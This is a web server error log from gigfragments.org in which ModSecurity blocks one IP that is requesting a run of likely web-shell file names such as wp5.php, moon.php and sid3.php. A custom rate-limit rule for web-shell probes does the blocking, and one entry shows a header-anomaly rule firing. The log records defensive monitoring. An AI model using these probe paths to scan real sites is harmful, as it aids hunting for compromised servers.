[Mon Mar 02 05:39:56.183326 2026] [:error] [pid 28908:tid 28912] [client 20.215.209.82:17267] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSyLIqJmC8ih_lQQnD1UAAAAMI"]
[Mon Mar 02 05:40:05.174024 2026] [:error] [pid 31257:tid 31278] [client 20.215.209.82:41200] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSyNf-JFLfishX45N8xNwAAAQ8"]
[Mon Mar 02 05:40:06.234192 2026] [:error] [pid 31257:tid 31278] [client 20.215.209.82:44089] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSyNv-JFLfishX45N8xRAAAAQ8"]
[Mon Mar 02 05:40:07.457496 2026] [:error] [pid 28795:tid 28882] [client 20.215.209.82:34369] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aaSyN7ROd53wZBkdI_cZewAAAJM"]
[Mon Mar 02 05:40:09.455518 2026] [:error] [pid 31257:tid 31280] [client 20.215.209.82:34374] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aaSyOf-JFLfishX45N8xVgAAARE"]
[Mon Mar 02 05:40:10.192167 2026] [:error] [pid 28795:tid 28864] [client 20.215.209.82:23921] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aaSyOrROd53wZBkdI_cZhwAAAIE"]
[Mon Mar 02 05:40:13.004706 2026] [:error] [pid 28795:tid 28881] [client 20.215.209.82:4881] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aaSyPbROd53wZBkdI_cZlQAAAJI"]
[Mon Mar 02 05:40:14.636920 2026] [:error] [pid 28794:tid 28856] [client 20.215.209.82:40728] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaSyPqVy2qpaelbUob0JiQAAAFQ"]
[Mon Mar 02 05:40:18.173668 2026] [:error] [pid 31257:tid 31284] [client 20.215.209.82:28272] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaSyQv-JFLfishX45N8xigAAARU"]
[Mon Mar 02 05:40:20.780402 2026] [:error] [pid 31257:tid 31276] [client 20.215.209.82:28236] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaSyRP-JFLfishX45N8xowAAAQ0"]
[Mon Mar 02 05:40:27.358282 2026] [:error] [pid 28908:tid 28922] [client 20.215.209.82:25491] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaSyS4qJmC8ih_lQQnD2CAAAAMw"]
[Mon Mar 02 05:40:31.143451 2026] [:error] [pid 28793:tid 28815] [client 20.215.209.82:33950] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/iko.php"] [unique_id "aaSyTw2_fxBANaHo1f4EkAAAAAg"]
[Mon Mar 02 05:40:40.553915 2026] [:error] [pid 31257:tid 31268] [client 20.215.209.82:17277] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/iko.php"] [unique_id "aaSyWP-JFLfishX45N8yNAAAAQU"]
[Mon Mar 02 05:40:42.525251 2026] [:error] [pid 28795:tid 28870] [client 20.215.209.82:30011] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/iko.php"] [unique_id "aaSyWrROd53wZBkdI_cZ7AAAAIc"]
[Mon Mar 02 05:40:44.256873 2026] [:error] [pid 28794:tid 28854] [client 20.215.209.82:26521] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmy.php"] [unique_id "aaSyXKVy2qpaelbUob0J1AAAAFI"]
[Mon Mar 02 05:40:46.981482 2026] [:error] [pid 28795:tid 28877] [client 20.215.209.82:26531] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmy.php"] [unique_id "aaSyXrROd53wZBkdI_caCgAAAI4"]
[Mon Mar 02 05:40:48.828382 2026] [:error] [pid 28908:tid 28922] [client 20.215.209.82:37001] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmy.php"] [unique_id "aaSyYIqJmC8ih_lQQnD2VwAAAMw"]
[Mon Mar 02 05:41:11.046877 2026] [:error] [pid 28794:tid 28844] [client 120.71.59.24:33376] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaSyd6Vy2qpaelbUob0KFQAAAEg"]
[Mon Mar 02 05:41:37.439216 2026] [:error] [pid 28793:tid 28819] [client 20.215.209.82:4917] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaSykQ2_fxBANaHo1f4E4QAAAAw"]
[Mon Mar 02 05:41:40.048082 2026] [:error] [pid 28908:tid 28917] [client 20.215.209.82:22112] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaSylIqJmC8ih_lQQnD3HgAAAMc"]
[Mon Mar 02 05:41:41.006471 2026] [:error] [pid 28908:tid 28927] [client 20.215.209.82:19522] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaSylYqJmC8ih_lQQnD3JAAAANE"]
[Mon Mar 02 05:41:42.937940 2026] [:error] [pid 28795:tid 28878] [client 20.215.209.82:22134] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaSylrROd53wZBkdI_ca6wAAAI8"]
[Mon Mar 02 05:41:44.281085 2026] [:error] [pid 31257:tid 31272] [client 20.215.209.82:22114] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/155.php"] [unique_id "aaSymP-JFLfishX45N8zmAAAAQk"]
[Mon Mar 02 05:41:46.073595 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:19578] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/155.php"] [unique_id "aaSymv-JFLfishX45N8zpAAAARI"]
[Mon Mar 02 05:41:49.566534 2026] [:error] [pid 28793:tid 28817] [client 20.215.209.82:16750] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/155.php"] [unique_id "aaSynQ2_fxBANaHo1f4E8wAAAAo"]
[Mon Mar 02 05:41:51.072421 2026] [:error] [pid 28908:tid 28924] [client 20.215.209.82:15109] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/155.php"] [unique_id "aaSyn4qJmC8ih_lQQnD3SQAAAM4"]
[Mon Mar 02 05:41:53.632599 2026] [:error] [pid 28908:tid 28924] [client 20.215.209.82:38293] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e.php"] [unique_id "aaSyoYqJmC8ih_lQQnD3WAAAAM4"]
[Mon Mar 02 05:42:01.557705 2026] [:error] [pid 28795:tid 28875] [client 20.215.209.82:20203] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/e.php"] [unique_id "aaSyqbROd53wZBkdI_cbeAAAAIw"]
[Mon Mar 02 05:42:17.241176 2026] [:error] [pid 31257:tid 31267] [client 20.215.209.82:20544] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaSyuf-JFLfishX45N80gwAAAQQ"]
[Mon Mar 02 05:42:20.387497 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:30444] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaSyvP-JFLfishX45N80owAAARI"]
[Mon Mar 02 05:42:33.340268 2026] [:error] [pid 28795:tid 28868] [client 20.215.209.82:26944] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X7x.php"] [unique_id "aaSyybROd53wZBkdI_ccEAAAAIU"]
[Mon Mar 02 05:43:13.483328 2026] [:error] [pid 28908:tid 28926] [client 20.215.209.82:21615] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaSy8YqJmC8ih_lQQnD5QAAAANA"]
[Mon Mar 02 05:43:14.395280 2026] [:error] [pid 28908:tid 28922] [client 20.215.209.82:34679] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaSy8oqJmC8ih_lQQnD5RwAAAMw"]
[Mon Mar 02 05:43:15.122675 2026] [:error] [pid 28908:tid 28926] [client 20.215.209.82:32401] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaSy84qJmC8ih_lQQnD5TAAAANA"]
[Mon Mar 02 05:43:16.286065 2026] [:error] [pid 31257:tid 31282] [client 20.215.209.82:34624] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaSy9P-JFLfishX45N819wAAARM"]
[Mon Mar 02 05:43:16.920507 2026] [:error] [pid 28908:tid 28934] [client 20.215.209.82:34683] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aaSy9IqJmC8ih_lQQnD5WgAAANg"]
[Mon Mar 02 05:43:18.702405 2026] [:error] [pid 28908:tid 28920] [client 20.215.209.82:24827] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aaSy9oqJmC8ih_lQQnD5ZQAAAMo"]
[Mon Mar 02 05:43:19.553808 2026] [:error] [pid 28794:tid 28837] [client 20.215.209.82:40844] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aaSy96Vy2qpaelbUob0LmAAAAEE"]
[Mon Mar 02 05:43:22.483063 2026] [:error] [pid 28795:tid 28879] [client 20.215.209.82:40850] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aaSy-rROd53wZBkdI_cdEgAAAJA"]
[Mon Mar 02 05:43:24.707688 2026] [:error] [pid 28795:tid 28883] [client 20.215.209.82:31559] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aaSy_LROd53wZBkdI_cdHAAAAJQ"]
[Mon Mar 02 05:43:26.786621 2026] [:error] [pid 28795:tid 28887] [client 20.215.209.82:40371] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aaSy_rROd53wZBkdI_cdJwAAAJg"]
[Mon Mar 02 05:43:28.403004 2026] [:error] [pid 28793:tid 28822] [client 20.215.209.82:31369] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aaSzAA2_fxBANaHo1f4FvwAAAA8"]
[Mon Mar 02 05:43:29.455834 2026] [:error] [pid 28795:tid 28880] [client 20.215.209.82:34560] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aaSzAbROd53wZBkdI_cdMQAAAJE"]
[Mon Mar 02 05:43:30.354369 2026] [:error] [pid 31257:tid 31273] [client 20.215.209.82:31382] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gec.php"] [unique_id "aaSzAv-JFLfishX45N82KgAAAQo"]
[Mon Mar 02 05:43:34.377237 2026] [:error] [pid 28795:tid 28887] [client 20.215.209.82:24794] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gec.php"] [unique_id "aaSzBrROd53wZBkdI_cdTQAAAJg"]
[Mon Mar 02 05:43:39.117140 2026] [:error] [pid 28908:tid 28921] [client 20.215.209.82:24813] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gec.php"] [unique_id "aaSzC4qJmC8ih_lQQnD5pQAAAMs"]
[Mon Mar 02 05:43:41.527330 2026] [:error] [pid 31257:tid 31270] [client 20.215.209.82:24802] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gec.php"] [unique_id "aaSzDf-JFLfishX45N82NgAAAQc"]
[Mon Mar 02 05:43:49.921344 2026] [:error] [pid 28795:tid 28885] [client 20.215.209.82:32372] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aaSzFbROd53wZBkdI_cdgwAAAJY"]
[Mon Mar 02 05:43:55.660644 2026] [:error] [pid 28908:tid 28916] [client 20.215.209.82:34578] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aaSzG4qJmC8ih_lQQnD52QAAAMY"]
[Mon Mar 02 05:43:58.442349 2026] [:error] [pid 28794:tid 28836] [client 20.215.209.82:34562] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaSzHqVy2qpaelbUob0L5gAAAEA"]
[Mon Mar 02 05:44:00.119935 2026] [:error] [pid 31257:tid 31279] [client 20.215.209.82:20539] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaSzIP-JFLfishX45N82nwAAARA"]
[Mon Mar 02 05:44:00.907501 2026] [:error] [pid 31257:tid 31285] [client 20.215.209.82:40482] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaSzIP-JFLfishX45N82pQAAARY"]
[Mon Mar 02 05:44:02.971913 2026] [:error] [pid 28795:tid 28868] [client 20.215.209.82:32435] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaSzIrROd53wZBkdI_cdqQAAAIU"]
[Mon Mar 02 05:44:04.007575 2026] [:error] [pid 28908:tid 28918] [client 20.215.209.82:34082] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aaSzJIqJmC8ih_lQQnD59gAAAMg"]
[Mon Mar 02 05:44:05.024006 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:36010] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aaSzJf-JFLfishX45N82wgAAARI"]
[Mon Mar 02 05:45:01.376986 2026] [:error] [pid 28908:tid 28933] [client 20.215.209.82:24071] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aaSzXYqJmC8ih_lQQnD7BQAAANc"]
